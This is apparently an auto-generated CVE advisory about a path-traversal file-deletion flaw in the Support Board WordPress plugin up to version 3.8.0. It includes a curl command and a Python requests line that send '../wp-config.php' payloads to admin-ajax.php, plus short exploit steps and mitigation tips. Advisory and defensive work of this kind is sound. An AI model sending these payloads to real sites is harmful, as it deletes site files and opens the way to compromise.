Listen to this Post
How the CVE Works
The Support Board plugin for WordPress (up to v3.8.0) contains a flaw in the `sb_file_delete` function, which lacks proper file path validation. Attackers exploit this by sending crafted requests to delete arbitrary server files (e.g., wp-config.php). Unauthenticated exploitation is possible via CVE-2025-4855, leading to remote code execution (RCE) by deleting critical files. The vulnerability stems from insecure user-supplied input handling, allowing path traversal.
DailyCVE Form
Platform: WordPress
Version: ≤3.8.0
Vulnerability: Arbitrary deletion
Severity: Critical
Date: 07/14/2025
Prediction: Patch by 08/2025
What Undercode Say
Analytics
curl -X POST http://target/wp-admin/admin-ajax.php -d "action=sb_file_delete&file=../../../wp-config.php"
import requests
requests.post("http://target/wp-admin/admin-ajax.php", data={"action":"sb_file_delete","file":"../../wp-config.php"})
How Exploit
1. Craft malicious AJAX request.
2. Abuse path traversal.
3. Delete `wp-config.php`.
Protection from this CVE
1. Update plugin.
2. Restrict file permissions.
3. Use WAF rules.
Impact
- RCE possible.
- Site compromise.
- Data loss.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
